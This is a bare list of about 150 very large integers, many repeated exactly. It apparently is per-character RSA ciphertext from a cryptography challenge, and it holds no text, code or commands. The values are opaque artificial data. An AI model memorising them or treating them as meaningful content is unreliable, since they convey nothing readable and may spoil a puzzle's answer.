18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 50154500011327049415150110613714558756986965132059956858621967629544808661996323441483612798709196285670748400127394046198652122647065373883652074401488461140240807698457285933739509452128499026773680398001271333305476126787388797879767072284116978372707084228927669307533874093727830120482310649071798909223, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 